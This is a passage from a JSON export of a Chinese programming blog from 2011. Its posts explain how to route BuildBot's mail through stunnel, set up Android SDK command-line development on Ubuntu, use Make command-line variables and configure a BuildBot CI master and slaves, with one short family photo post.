经折腾我许久了，难道非得让我去debug Twisted库？还好，今天我想到了另外一种方法：使用stunnel。原理是这样的：通过stunnel将非SSL连接转换为到公司mail服务器的SSL连接，通过stunnel建立的这条转化通道，mail发送的问题就应该可以解决了。想法归想法，实际上能否达到我的目标，还得通过试验验证。\n首先我们需要在BuildBot的master服务器上安装stunnel。\n在Ubuntu服务器上安装stunnel很简单，执行sudo apt-get install stunnel即可。不过今天我却遇到了问题，我的Ubuntu服务器版本是9.04，执行install时发现似乎所有源都不可用了。执行了多次还是这样，sudo apt-get update也无法更新了。突然想到也许是9.04的支持年限到了，到网上一查，果不其然：去年10月份Ubuntu 9.04就不在支持范围了。难道没有专门for老旧Ubuntu版本的源可以使用了吗？还好Ubuntu中文论坛上有答案：Ubuntu官方有一个源http://old-releases.ubuntu.com/ubuntu是专为已经过了支持期限的版本服务的。将/etc/apt/sources.list备份后打开，将下面内容贴到该文件中：\ndeb http://old-releases.ubuntu.com/ubuntu jaunty main restricted universe multiverse\ndeb http://old-releases.ubuntu.com/ubuntu jaunty-security main restricted universe multiverse\ndeb http://old-releases.ubuntu.com/ubuntu jaunty-updates main restricted universe multiverse\ndeb http://old-releases.ubuntu.com/ubuntu jaunty-backports main restricted universe multiverse\ndeb http://old-releases.ubuntu.com/ubuntu jaunty-proposed main restricted universe multiverse\ndeb-src http://old-releases.ubuntu.com/ubuntu jaunty main restricted universe multiverse\ndeb-src http://old-releases.ubuntu.com/ubuntu jaunty-security main restricted universe multiverse\ndeb-src http://old-releases.ubuntu.com/ubuntu jaunty-updates main restricted universe multiverse\ndeb-src http://old-releases.ubuntu.com/ubuntu jaunty-backports main restricted universe multiverse\ndeb-src http://old-releases.ubuntu.com/ubuntu jaunty-proposed main restricted universe multiverse\n保存后执行update，然后再重新install stunnel，这回一切OK了。\n接下来，我们来配置stunnel。\n我们先打开/etc/default/stunnel4，将其中的ENABLED配置项的值从0改为1，这样我们就允许stunnel在主机重启后可以被自动启动。\n/etc/stunnel/stunnel.conf这个配置文件才是我们需要重点关注的。主要改动的配置项及说明如下：\n; Use it for client mode\nclient = yes ; 我们使用的是stunnel的client模式，所以这里将no改为yes\n; cert = /etc/stunnel/mail.pem ; 注释掉该行\n; 打开debug模式以及log文件输出，便于我们在使用初期问题的查找\ndebug = 7\noutput = /var/log/stunnel4/stunnel.log\n; 下面是关键配置，stunnel将接收本地到25端口的mail连接，并将该mail连接转换为到smtp.your_domain.com:465的SSL连接\n[ssmtp]\naccept = 127.0.0.1:25\nconnect = smtp.your_domain.com:465\n配置就是这些了。我们通过sudo /etc/init.d/stunnel4 start启动stunnel。如果你在启动时遇到问题，别忘了查看一下/var/log/stunnel4/stunnel.log中的内容，多数情况下你都会很快的发现问题所在。比如我第一次启动stunnel时就得到了如下错误信息：\n[Failed: /etc/stunnel/stunnel.conf]\nYou should check that you have specified the pid= in you configuration file\n这个错误信息可能会让你误以为是配置出现了错误，但通过查看log会发现，原来错误原因是25端口已经被占用了。占用25端口的程序是sendmail，停掉sendmail服务，再次启动stunnel，我们得到以下的成功信息：\nStarting SSL tunnels: [Started: /etc/stunnel/stunnel.conf] stunnel.\n最后，我们来测试一下stunnel是否可以真正解决我们的问题。修改BuildBot master的master.cfg中的mail发送配置：\nc[\u0026lsquo;status\u0026rsquo;].append(mail.MailNotifier(fromaddr=\u0026ldquo;SENDER_MAIL_ADDR\u0026rdquo;,\nextraRecipients=[\u0026ldquo;RECIPIENT_MAIL_ADDR\u0026rdquo;],\nsendToInterestedUsers=False,\nuseTls=False,\nrelayhost=\u0026ldquo;127.0.0.1\u0026rdquo;,\nsmtpUser=\u0026lsquo;foo\u0026rsquo;,\nsmtpPassword=\u0026lsquo;foo!\u0026rsquo;,\nsmtpPort=25))\n有了stunnel，我们就可以使用非SSL连接来发送mail了，不过我们的buildbot连的是stunnel监听的本机25端口。\n触发一次构建，稍等片刻，我的Thunderbird里就出现了BuildBot构建失败的提醒mail，我们成功了。\n","permalink":"https://tonybai.com/2011/05/31/solve-the-problem-that-buildbot-can-not-send-mail/","summary":"\u003cp\u003e在“\u003ca href=\"http://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003e使用BuildBot搭建持续集成环境\u003c/a\u003e”一文中我曾经说到：公司使用的mail服务器只支持SSL连接，而BuildBot似乎对SSL连接的支持有些问题，导致构建结果mail无法发送“。BuildBot实际上使用的是Twisted的mail库来发送邮件的，我下载了Twisted的一些mail发送的例子程序，并使用我的公司mail账户配置，但依旧发送失败。看来这个问题与Twisted的实现有关了。\u003c/p\u003e\n\u003cp\u003e这个问题已经折腾我许久了，难道非得让我去debug Twisted库？还好，今天我想到了另外一种方法：使用\u003ca href=\"http://www.stunnel.org/\"\u003estunnel\u003c/a\u003e。原理是这样的：通过stunnel将非SSL连接转换为到公司mail服务器的SSL连接，通过stunnel建立的这条转化通道，mail发送的问题就应该可以解决了。想法归想法，实际上能否达到我的目标，还得通过试验验证。\u003c/p\u003e\n\u003cp\u003e首先我们需要在BuildBot的master服务器上安装stunnel。\u003c/p\u003e","title":"解决BuildBot构建结果mail无法发送的问题"},{"content":"这两天参加了一个Android开发入门培训，讲师的水平不敢恭维，课讲的基本上也是一塌糊涂，不过通过这次培训，我算是达到了Android开发快速入门的预期目标。\n一般来说Android应用开发的标准工具组合是JDK + Android SDK + ADT (Android Development Tools) + Eclipse，大家基本上是通过IDE GUI进行开发操作的。不过我个人更喜欢命令行，所以这次我也尝试探索了一下使用命令行方式开发Android应用的方法。\n入门的第一步就是搭建开发环境。关于Android开发环境搭建的资料早已汗牛充栋，不过我也看了一下这些资料多是关于如何在Windows下使用Eclipse搭建环境的，而在Linux环境下不用Eclipse的手工搭建环境的资料甚少。而我用的是Ubuntu 10.04，所以在这里我想说说Ubuntu下搭建Android开发环境的过程，以及在此过程中遇到的诸多问题的解决。\nAndroid应用主要用Java语言开发，所以JDK是不可缺少的，这是一个前提条件。关于JDK的安装以及环境变量配置，这里就不赘述了。我在Ubuntu下安装的是Oracle（原Sun）提供的JDK 1.6版本。\nAndroid开发环境搭建的核心就是SDK。不过大陆的程序员们真的很悲哀，原因你懂的。为了下载一个SDK，到处翻山越岭，跋山涉水啊，好不痛苦。不过还好，领导们还给我们留下了一线生机。那就是http://dl-ssl.google.com/android/repository，这里可以下载到Android SDK相关组件包。\n首先你可以下载这个库的导航文件repository.xml(wget -c http://dl-ssl.google.com/android/repository/repository.xml)。打开这个文件，通过里面的注释你会看到这个文件大约包含了四个部分：\n. PLATFORMS\n. PLATFORM-TOOLS\n. TOOLS\n. DOCS\n这恰恰是Android SDK包的几个主要组成部分：\n. 其中TOOLS对应的就是Android SDK Tools，主要用于SDK自身组件安装、卸载管理，提供模拟器工具以及其他开发所需的第三方工具。\n. 其中PLATFORMS对应的是Android SDK Platform，这些包为Android应用开发提供了各个版本的虚拟设备（AVD）。比如Android 2.2、Android 2.3.3等虚拟设备。\n. 其中PLATFORM-TOOLS对应的是Android SDK Platform-tools，这些包提供了与虚拟设备管理和调试相关的工具，如ADB。\n我们如何通过这些组件包来组装成一个完整的Android SDK包呢？步骤大致如下：\n. 下载Android SDK Tools包，也就是Repository中对应的TOOLS部分。我这里找到的是tools_r11-linux.zip(wget -c http://dl-ssl.google.com/android/repository/tools_r11-linux.zip)。\n. 在本地建立android-sdk-linux_86目录，将下载的tools_r11-linux.zip放到该目录下，解压，我们得到tools_r11-linux目录。\n. 将android-sdk-linux_86目录下的tools_r11-linux目录改名为tools。\n. 在android-sdk-linux_86目录下建立两个新目录：add-ons和platforms。（如果没有这两个目录，下一步中的android启动会失败）\n. 进入android-sdk-linux_86/tools下，执行./android，启动Android SDK and AVD Manager。\n. 在启动的Android SDK and AVD Manager对话框的\u0026quot;Installed Packages\u0026quot;里你会看到我们已经安装了“Android SDK Tools, revision 11”。\n到这里，我们算是迈出了坚实的第一步。接下来，我们有两种方式继续我们的安装过程：\n一种是通过SDK/AVD Manager在线安装SDK其余组件。在\u0026quot;Installed Packages\u0026quot;里点击\u0026quot;Update All\u0026quot;按钮，等待一会，你会看到可以安装的组件。这里我们至少需要一个Platform包（比如Android 2.3.3 API 10, revision 1）以及Platform-tools包（比如Android SDK Platform-tools, revision 4）。选择你要的组件包后，就可以install了。安装后，一个完整的Android SDK就呈现在你的眼前了。这种方式也是最快捷、最方便的方式了。\n另外一种是离线安装方式。如果你和我一样，使用的是公司的代理网络，那么你很可能无法在线安装，即使SDK/AVD Manager支持配置网络代理。这样你就需要进行离线安装了，也就是需要你手工下载各个组件包，然后安装到指定的目录下。我这里就做了如下操作：\n. 执行下面命令下载各组件包：\nwget -c http://dl-ssl.google.com/android/repository/android-2.2_r02-linux.zip\nwget -c http://dl-ssl.google.com/android/repository/android-2.3.3_r01-linux.zip\nwget -c http://dl-ssl.google.com/android/repository/platform-tools_r04-linux.zip\n. 将android-2.2_r02-linux.zip拷贝到android-sdk-linux_86/platforms目录下，并解压。\n. 将android-2.3.3_r01-linux.zip拷贝到android-sdk-linux_86/platforms目录下，并解压。\n. 将platform-tools_r04-linux.zip拷贝到android-sdk-linux_86目录下，解压，并改名为platform-tools。\n至此，SDK各组件安装完毕。执行tools/android，在\u0026quot;Installed Packages\u0026quot;下，你就会看到上述已经安装的组件包了。(笔者最后又发现了一个可以下载Android SDK的地方：http://dl.google.com/android[/android-sdk_r08-linux_86.tgz]，在这里你下载到的SDK包内platforms和add-ons目录都已经建立完毕了，SDK tools在tools目录下，其余组件的安装方法和上面一致。)\n为了方便后续使用，我们可将SDK目录下的platform-tools和tools两个路径添加到PATH环境变量中。接下来，我们就可以创建一个虚拟设备了。Android虚拟设备其实是一组配置，tools下的emulator使用这些配置启动一个特定版本的Android模拟程序，用来部署、运行和测试你开发的Android应用。\n我们可以通过\u0026quot;android list targets\u0026quot;命令来查看当前系统中可以创建哪些平台的虚拟设备，在我的系统下，这条命令的执行结果如下：\nAvailable Android targets:\nid: 1 or \u0026ldquo;android-8\u0026rdquo;\nName: Android 2.2\nType: Platform\nAPI level: 8\nRevision: 2\nSkins: WVGA854, QVGA, WVGA800 (default), WQVGA400, WQVGA432, HVGA\nid: 2 or \u0026ldquo;android-10\u0026rdquo;\nName: Android 2.3.3\nType: Platform\nAPI level: 10\nRevision: 1\nSkins: WVGA854, QVGA, WVGA800 (default), WQVGA400, WQVGA432, HVGA\n我们有两个Platform可选，这里我们创建一个Android 2.3.3的虚拟设备。创建的命令如下：\n$\u0026gt; android create avd -n helloandroid -t 2\nAndroid 2.3.3 is a basic Android platform.\nDo you wish to create a custom hardware profile [no]\nCreated AVD \u0026lsquo;helloandroid\u0026rsquo; based on Android 2.3.3,\nwith the following hardware config:\nhw.lcd.density=240\nvm.heapSize=24\nhw.ramSize=256\n其中-n 用于指定avd的名字，-t则用于指定platform，也就是target，之前我们已经列出系统中的Targets，我们只需选择一个，并使用target的id即可。\n创建后，我们可以通过android list avd来查看系统中都创建了哪些avd：\n$\u0026gt; android list avd\nAvailable Android Virtual Devices:\nName: helloandroid\nPath: /media/winD/tonybai/android-sdk-linux_86/.android/avd/helloandroid.avd\nTarget: Android 2.3.3 (API level 10)\nSkin: WVGA800\n有了avd，我们就可以启动emulator了。执行emulator -avd helloandroid，我们得到了如下错误信息：\n“emulator: ERROR: the user data image is used by another emulator. aborting”\n这条错误信息的字面意思是有另外一个emulator使用了这个avd，但是我找了半天，发现我并未启动任务其他emulator，系统进程列表中也没有其他emulator的信息。又到网上找了一些资料，都说是因emulator异常退出，导致没有解锁avd配置目录下的.lock文件导致的。但我到avd配置目录下，根本没有找到什么.lock文件。\n我又通过调试模式执行了一遍：emulator -avd helloandroid -verbose -debug-all，这回我得到的信息如下：\n… 这里省略了几百行日志….\nemulator: found system.img in search dir: /media/winD/tonybai/android-sdk-linux_86/platforms/android-2.3.3_r01-linux/images/\nemulator: found userdata-qemu.img in content directory\nemulator: locking user data image at /media/winD/tonybai/android-sdk-linux_86/.android/avd/helloandroid.avd/userdata-qemu.img\nemulator: ERROR: the user data image is used by another emulator. aborting\n从上面的错误日志来看，似乎emulator在对userdata-qemu.img加锁时出现了问题。这个问题古怪了些。我的SDK部署在FAT32分区，难道是跨分区文件锁有问题。无奈下把SDK搬移到我的HOME路径下，并修改PATH环境变量。重新启动emulator，这回emulator启动成功了。不过第一次启动emulator可真是够慢的，大约有5、6分钟之多，才看到Android的界面。不过还有一个问题，那就是emulator启动的模拟器画面太大，出了屏幕边界（我的本子是12寸屏幕的）。我们来修改一下avd的配置，调整屏幕属性：\n在android-sdk-linux_86/.android/avd/helloandroid.avd目录下，我们打开config.ini，将下面三项配置：\nhw.lcd.density=240\nskin.name=WVGA800\nskin.path=platforms/android-2.3.3_r01-linux/skins/WVGA800\n修改为：\nhw.lcd.density=160\nskin.name=HVGA\nskin.path=platforms/android-2.3.3_r01-linux/skins/HVGA\n重新启动emulator，这回整个模拟器的画面都在屏幕以内了。\n万事俱备，只欠东风！下面我们就可以开始创建我们第一个HelloAndroid工程了。在~/proj/android下建立helloandroid目录，进入helloandroid目录，执行下面命令：\n$\u0026gt; android create project –name helloandroid –activity HelloAndroid –path ./ –package com.examples.helloandroid –target 2\nCreated directory /home/tonybai/proj/android/helloandroid/src/com/examples/helloandroid\nAdded file ./src/com/examples/helloandroid/HelloAndroid.java\nCreated directory /home/tonybai/proj/android/helloandroid/res\nCreated directory /home/tonybai/proj/android/helloandroid/bin\nCreated directory /home/tonybai/proj/android/helloandroid/libs\nCreated directory /home/tonybai/proj/android/helloandroid/res/values\nAdded file ./res/values/strings.xml\nCreated directory /home/tonybai/proj/android/helloandroid/res/layout\nAdded file ./res/layout/main.xml\nCreated directory /home/tonybai/proj/android/helloandroid/res/drawable-hdpi\nCreated directory /home/tonybai/proj/android/helloandroid/res/drawable-mdpi\nCreated directory /home/tonybai/proj/android/helloandroid/res/drawable-ldpi\nAdded file ./AndroidManifest.xml\nAdded file ./build.xml\nAdded file ./proguard.cfg\nBuild该工程： ant release（注意对于2.3的SDK，ant要使用1.8以上版本）。一切很顺利，Build成功后，在bin下面出现了\u0026quot;helloandroid-unsigned.apk\u0026quot;文件。\n那么如何将apk文件部署到模拟器中运行呢？如果系统内仅有一个device在运行（可通过adb devices命令查看），那么我们可以直接执行ant install，这样我们的apk就会自动被部署到emulator中了（这期间使用的是调试版的数字签名）。\n部署后，你就会在emulator的界面上看到一个绿机器人图标且名字为“HelloAndroid”的程序了。点击其执行，我们得到一行文字：Hello World, HelloAndroid。这个文字是工程被创建时默认自带的，你当然也可以修改它了。\n另外如果要卸载这个应用也很简单，执行ant uninstall就是了。\n如果系统有多个AVD在运行，那么我们同样可以通过adb命令来选择一个device安装我们的应用，如果一个device的名字是emulator-5554(通过adb devices查看)，那么我们可以先执行ant debug，生成bin/helloandroid-debug.apk，然后通过\u0026quot;adb -s emulator-5554 install bin/helloandroid-debug.apk\u0026quot;将应用安装到emulator-5554上去。\n","permalink":"https://tonybai.com/2011/05/24/develop-android-app-in-command-line-method/","summary":"\u003cp\u003e这两天参加了一个\u003ca href=\"http://en.wikipedia.org/wiki/Android_(operating_system)\"\u003eAndroid\u003c/a\u003e开发入门培训，讲师的水平不敢恭维，课讲的基本上也是一塌糊涂，不过通过这次培训，我算是达到了Android开发快速入门的预期目标。\u003c/p\u003e\n\u003cp\u003e一般来说Android应用开发的标准工具组合是JDK + Android SDK + ADT (Android Development Tools) + \u003ca href=\"http://www.eclipse.org/\"\u003eEclipse\u003c/a\u003e，大家基本上是通过IDE GUI进行开发操作的。不过我个人更喜欢\u003ca href=\"http://tonybai.com/2011/03/16/know-how-to-use-command-line-tool/\"\u003e命令行\u003c/a\u003e，所以这次我也尝试探索了一下使用命令行方式开发Android应用的方法。\u003c/p\u003e\n\u003cp\u003e入门的第一步就是搭建开发环境。关于Android开发环境搭建的资料早已汗牛充栋，不过我也看了一下这些资料多是关于如何在Windows下使用Eclipse搭建环境的，而在Linux环境下不用Eclipse的手工搭建环境的资料甚少。而我用的是\u003ca href=\"http://tonybai.com/2010/08/25/move-to-ubuntu-thoroughly/\"\u003eUbuntu 10.04\u003c/a\u003e，所以在这里我想说说Ubuntu下搭建Android开发环境的过程，以及在此过程中遇到的诸多问题的解决。\u003c/p\u003e","title":"使用命令行方式开发Android应用"},{"content":"一般来说，只有周末我和老婆才有机会一起陪果果。我们就抓紧这段时间多陪果果到户外，现在是春末夏初，户外天气十分宜人，果果也十分喜欢到户外活动。这不今天又给果果拍了一组“写真”，我们称之为“花丛系列”^_^。\n花丛中-果果正面照\n花丛中-果果远景\n花丛中-果果近景\n可爱的果果\n","permalink":"https://tonybai.com/2011/05/22/among-flowers-the-portray-of-my-daughter/","summary":"\u003cp\u003e一般来说，只有周末我和老婆才有机会一起陪果果。我们就抓紧这段时间多陪果果到户外，现在是春末夏初，户外天气十分宜人，果果也十分喜欢到户外活动。这不今天又给果果拍了一组“写真”，我们称之为“花丛系列”^_^。\u003c/p\u003e","title":"果果写真-一周岁花丛系列"},{"content":"有了BuildBot搭建的持续集成环境还远未结束，具体的构建脚本还得自己来写。我们用的是Make工具，对应要编写的脚本就是Makefile。\nMake是日常代码构建常用的工具，尤其是绝大多数C和C++项目都会将Make作为首选构建工具。平时多数情况大家都是直接敲入make命令便开始了构建过程，很少有人为make传入什么参数的（调试Makefile的情况除外）。但是有些时候自定义的Make命令行变量还是很有用处的，特别是在将Make与持续集成环境集成的时候。\n实际上这个话题是源于我在搭建持续集成环境时遇到的一个实际问题。我们的产品的目标之一就是支持在不同平台上运行。这样我们需要在不同平台下都能进行构建，这也要求我们的Makefile可以自适应多种环境。以前的产品没有多平台运行的需求，其Makefile的实现也就没有考虑到这一点。在做平台移植的过程中，我们对Makefile脚本做了调整，不过虽然其可以满足在多平台上Build的要求，但是在某些情况下Build前需手工修改Makefile中的某些开关变量，比如是进行64bit编译还是32bit编译等。\n这样的Makefile是不能用于持续集成环境下的多平台构建的，因为是自动构建，我们无法在中间进行人工干预。这时我们就需要借助Make命令行变量的帮助来解决这一问题了。举一个简单的例子，看下面的C源文件和对应的Makefile：\n/* foo.c */\nint main() {\nprintf(\u0026ldquo;sizeof(long) = %d\\n\u0026rdquo;, sizeof(long));\n}\n# Makefile\nCMODE = 64-bit\nifeq ($(CMODE), 64-bit)\nCFLAGS += -m64\nendif\nall:\ngcc $(CFLAGS) -o foo foo.c\n显然Makefile中CMODE的取值不同，编译出的foo执行的结果就不同。但我们确有这样的需求，我们需要通过控制CMODE的值来决定Build结果。我们不想改动Makefile，我们可以通过Make的命令行变量设置来解决这个问题。我们只需在执行make时传入\u0026quot;CMODE=32-bit\u0026quot;这个参数即可让Build过程按照非64位方式进行。\n一般的带命令行变量的make命令格式是：make [variable1=value1 variable2=value2 \u0026hellip; \u0026hellip; ]。make命令行中传入的变量会覆盖Makefile文件中定义的同名的并且没有使用override修饰的变量。命令行上的变量的赋值也可以用支持直接展开的:=赋值符号。\n有了这种方法，我们就可以在BuildBot的build factory实例化时传入带参数的step了，即可以通过不同参数来控制在各个平台上的自动构建了。\n","permalink":"https://tonybai.com/2011/05/19/use-command-line-vars-of-make/","summary":"\u003cp\u003e有了\u003ca href=\"http://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003eBuildBot\u003c/a\u003e搭建的持续集成环境还远未结束，具体的构建脚本还得自己来写。我们用的是Make工具，对应要编写的脚本就是Makefile。\u003c/p\u003e\n\u003cp\u003eMake是日常代码构建常用的工具，尤其是绝大多数C和C++项目都会将Make作为首选构建工具。平时多数情况大家都是直接敲入make命令便开始了构建过程，很少有人为make传入什么参数的（调试Makefile的情况除外）。但是有些时候自定义的Make命令行变量还是很有用处的，特别是在将Make与持续集成环境集成的时候。\u003c/p\u003e","title":"使用Make的命令行变量"},{"content":"部门的持续集成一直做的不太好，我们开发部这边甚至一直没能做起来，这其中有各种原因：工具、意识、执行力、沟通等等。将持续集成引入到我们的开发过程中也一直是我的一个目标。去年末启动的一个项目让我感到时机变得成熟了。\n新项目的代码是完全重写的，这样的机会甚是难得。因为大多数情况下大家都是在维护现有系统：做些添添补补、修正Bug以及优化之类的事情。项目初期，我特别向大家强调了要严格遵守统一代码风格并将astyle代码格式化工具介绍给大家，手把手地教大家如何利用类似LCUT这样的单元测试框架编写单元测试，讲解什么是Mock测试。前些时间我又将代码风格检查\n脚本加入到工程的构建过程中，并将代码风格检查作为最终构建目标的关键依赖，强制大家编写出统一风格的代码。\n情况就是这样的情况，的确我们现在只做到了这些。不过有了这些基础，我就更有信心去做持续集成了。\n今年年初部门统一部署了产品的多平台移植的开发任务，作为新项目，我们的成果物被要求天生就应具备适合在多个平台上运行的能力。这次产品平台移植仿佛一针催化剂加快了我在项目中实施持续集成的脚步。我希望搭建出这样一套系统：每当开发人员提交代码后，持续集成框架都能发现这些代码变动，并在多个不同平台的主机上分别Checkout出最新代码，Build，Check代码风格并运行单元测试集，最终将结果通知所有人。\n我需要找到满足我这一需求的工具。记得若干年前我第一次研究持续集成时曾经研究过一款名为CruiseControl.rb的工具，不过很遗憾的是这款工具似乎早已不更新了。在Thoughtworks的官方站点上，其最后一次发布是在2年前了。另外CruiseControl.rb一个比较大的缺憾就是性能差些。另外如果想满足我在多个不同平台主机上同时运行构建以及测试的要求，似乎需要部署多套CruiseControl.rb。\n在寻找工具的路上，我发现了BuildBot。这是一款由Python实现的开源持续集成工具。与CruiseControl.rb相比，其性能更好，其Master+Slaves的结构更易于扩展，并且可以很好地满足多平台版本构建的需求，大名鼎鼎的Google Chrome浏览器项目用的也是这款工具。另外我个人对Python的更加青睐也让我决定使用这款工具。\nBuildBot的文档比较丰富和全面，这也使其安装过程比较简单。BuildBot由两部分组成，一部分是Master，用于监视代码库变动，控制各个Slave节点进行构建操作，并收集反馈结果以各种方式（Mail、Html等）展示给用户；另外一部分就是Slave了。每个Slave节点都承担着构建过程的具体工作：他们接收Master发过来的指令，并按指令一步一步完成构建工作，并将结果反馈给Master。\n一个BuildBot持续集成环境就是由一个Master与一些Slaves组成的。其安装过程大致如下：\n1、在装有Python（最好是Python 2.6.x版本）的Master主机上安装Buildbot master：下载BuildBot安装包（我用的是最新的BuildBot-0.8.3p1）。解包后，执行python setup.py build和python setup.py install安装BuildBot master包。注意install默认是需要root权限的。\n2、安装BuildBot依赖包：下载最新的Twisted包（我用的是11.0.0）与zope.interface包（我用的是3.6.1），安装方法与BuildBot一致。\n3、在装有Python（最好是Python 2.6.x版本）的各个Slave主机上安装BuildBot slave：下载Buildslave安装包、最新的Twisted包与zope.interface包，安装方法与BuildBot Master一致。\n4、以上安装完成后，在Master host上执行buildbot，在各Slave host上运行buildslave，检查一下是否成功安装了。\n安装Ok，我们就可以建立Master实例以及诸多Slave的实例了。先说说Master。在Master主机上某路径下，创建foo_ci_master目录，进入foo_ci_master目录下，执行：\u0026ldquo;buildbot create-master ./\u0026quot;。执行后，在当前目录下会有master.cfg.sample文件。这是一个样板文件，我们将其改名为master.cfg后，打开master.cfg，开始进行master的配置。\nMaster的master.cfg是这套持续集成系统的核心。我们用一个简单的例子来说明这个配置。假设我们的持续集成环境由三台主机组成：Master Host（假设其ip为10.0.0.1）以及两台Slave Host，其中一台Slave Host上运行着RHEL 5.5，而另外一台Slave Host上则运行着PC Solaris 10。我们希望当有代码被提交到代码库中后，Master可及时发现这一变化，并且指挥两台Slave Host检出最新代码并且都能Build成功。\n下面是master.cfg中的一些关键配置及说明(省略了一些默认配置)：\n# master.cfg\nc[\u0026lsquo;slaves\u0026rsquo;] = [BuildSlave(\u0026ldquo;x86-solaris-bot\u0026rdquo;, \u0026ldquo;x86-solaris-bot-passwd\u0026rdquo;),\nBuildSlave(\u0026ldquo;redhat-bot\u0026rdquo;, \u0026ldquo;redhat-bot-passwd\u0026rdquo;)]\n这里告诉Master我们有两个Slave node，分别是x86-solaris-bot和redhat-bot，而这两个Slave登录Master的密码分别为x86-solaris-bot-passwd和redhat-bot-passwd。\n我们使用subversion作为我们源码版本管理工具，所以我们采用SVNPoller来监测源码库的变化：\nfrom buildbot.changes.svnpoller import SVNPoller\nc[\u0026lsquo;change_source\u0026rsquo;] = SVNPoller(\u0026ldquo;svn://10.10.0.1:8888\u0026rdquo;,\nsvnuser=\u0026lsquo;YOUR_SVN_USER\u0026rsquo;,\nsvnpasswd=\u0026lsquo;YOUR_SVN_PASSWD\u0026rsquo;,\npollinterval=30,\nsplit_file=foo_split_file)\ndef foo_split_file(path):\npieces = path.split(\u0026rsquo;/\u0026rsquo;)\nif pieces[0] == ‘foo’ and pieces[1] == \u0026rsquo;trunk\u0026rsquo;:\nreturn (\u0026lsquo;foo/trunk\u0026rsquo;, \u0026lsquo;/\u0026rsquo;.join(pieces[2:]))\nelse:\nreturn None\n在SVNPoller的参数中split_file是比较难理解的一个。它是为下面的Scheduler提供服务的。split_file会将变更的源码文件的完整路径信息进行拆分，并返回一个(branch, relative_pathname)的元组。而Scheduler将尝试匹配元组中的branch以决定此次变更是否是自己所关心的。看下面配置代码：\nc[\u0026lsquo;schedulers\u0026rsquo;].append(Scheduler(name=\u0026ldquo;foo-ci-plan\u0026rdquo;,\nbranch=\u0026lsquo;foo/trunk\u0026rsquo;,\ntreeStableTimer=5,\nbuilderNames=[\u0026ldquo;foo-redhat-builder\u0026rdquo;, \u0026ldquo;foo-x86-solaris-builder\u0026rdquo;]))\n显然这个Scheduler关心\u0026quot;foo/trunk\u0026quot;这个branch。一旦某源码文件归属于该分支（如svn://10.10.0.1:8888/foo/trunk/main/main.c），则该Scheduler会启动构建过程。其构建过程将通过两个builder完成，它们分别是foo-redhat-builder和foo-x86-solaris-builder。这样一来，我们就可以适当定义foo_split_file并设置多个Scheduler，以满足我们对不同branch的不同构建需要。\nbuilder都是关联到某个builder factory的，而下面则是factory的配置：\nfoo_builder_factory = factory.BuildFactory()\nfoo_builder_factory.addStep(SVN(mode=\u0026lsquo;update\u0026rsquo;,\nbaseURL=\u0026lsquo;svn://10.10.0.1:8888/\u0026rsquo;,\ndefaultBranch=\u0026lsquo;foo/trunk\u0026rsquo;))\nfoo_builder_factory.addStep(Compile(command=[\u0026ldquo;make\u0026rdquo;]))\n这个factory生产出来的builder会执行两个step：首先执行svn update，将svn://10.10.0.1:8888/foo/trunk更新到本地；然后执行make命令。\n下面是builder的设置：\nb1 = {\u0026rsquo;name\u0026rsquo;: \u0026ldquo;foo-redhat-builder\u0026rdquo;,\n\u0026lsquo;slavename\u0026rsquo;: \u0026ldquo;redhat-bot\u0026rdquo;,\n\u0026lsquo;builddir\u0026rsquo;: \u0026ldquo;foo-redhat\u0026rdquo;,\n\u0026lsquo;factory\u0026rsquo;: foo_builder_factory,\n}\nb2 = {\u0026rsquo;name\u0026rsquo;: \u0026ldquo;foo-x86-solaris-builder\u0026rdquo;,\n\u0026lsquo;slavename\u0026rsquo;: \u0026ldquo;x86-solaris-bot\u0026rdquo;,\n\u0026lsquo;builddir\u0026rsquo;: \u0026ldquo;foo-x86-solaris\u0026rdquo;,\n\u0026lsquo;factory\u0026rsquo;: foo_builder_factory,\n}\nc[\u0026lsquo;builders\u0026rsquo;] = [b1, b2]\nbuilder的设置看起来没那么难，一目了然。\nBuildBot Slave的创建和配置就更加简单了。首先到那台运行着solaris系统的Slave host上，在适当目录下创建foo_ci_slave目录，进入该目录后，执行“buildslave create-slave –umask=022 ./ 10.0.0.1:9989 x86-solaris-bot x86-solaris-bot-passwd”命令，一个Slave就创建完了，实际上也配置完了，无需额外配置了。其配置文件就是foo_ci_slave下面的buildbot.tac文件。Rhel上的slave也是如此创建的。\n启动Master。在Master host的foo_ci_master下面，执行buildbot start ./即可启动buildbot master，其当前日志会被输出到twistd.log中；如果要停止buildbot master，依旧是在该目录下，但执行buildbot stop ./。\n启动slave。在Slave Host的foo_ci_slave下面，执行buildslave start ./即可启动buildbot slave，其当前日志会被输出到twistd.log中；如果要停止buildbot slave，依旧是在该目录下，但执行buildslave stop ./。\n当Master和各个Slave都成功启动后，我们就可以来试试执行一次Build过程：修改foo/trunk下的某源码文件并提交。Master将会侦听到变更，便会启动两个Slave Host上的build过程。此次构建的结果在哪里可以看到呢？试试访问http://10.0.0.1:8010，页面上红色代表构建失败，绿色代表构建成功。\nBuildbot还支持将构建结果通过Mail通知的机制，不过由于公司用的是ssl方式，我试验了许久都没能将mail发出来。不知道是不是Twisted的Mail包的实现有问题还是其他什么原因，后续会继续查证。\n","permalink":"https://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/","summary":"\u003cp\u003e部门的\u003ca href=\"http://book.douban.com/subject/2580604/\"\u003e持续集成\u003c/a\u003e一直做的不太好，我们开发部这边甚至一直没能做起来，这其中有各种原因：工具、意识、执行力、沟通等等。将持续集成引入到我们的开发过程中也一直是我的一个目标。去年末启动的一个项目让我感到时机变得成熟了。\u003c/p\u003e\n\u003cp\u003e新项目的代码是完全重写的，这样的机会甚是难得。因为大多数情况下大家都是在维护现有系统：做些添添补补、修正Bug以及优化之类的事情。项目初期，我特别向大家强调了要严格遵守统一代码风格并将\u003ca href=\"http://http//tonybai.com/2010/07/29/use-astyle-to-beautify-your-code/\"\u003eastyle\u003c/a\u003e代码格式化工具介绍给大家，手把手地教大家如何利用类似\u003ca href=\"http://tonybai.com/2010/09/30/opensource-a-lightweight-c-unit-test-framework/\"\u003eLCUT\u003c/a\u003e这样的\u003ca href=\"http://tonybai.com/2005/11/08/the-design-and-implementation-of-c-unittest-framework/\"\u003e单元测试框架\u003c/a\u003e编写单元测试，讲解什么是\u003ca href=\"http://tonybai.com/2008/04/12/mock-test-in-c-unit-test/\"\u003eMock测试\u003c/a\u003e。前些时间我又将\u003ca 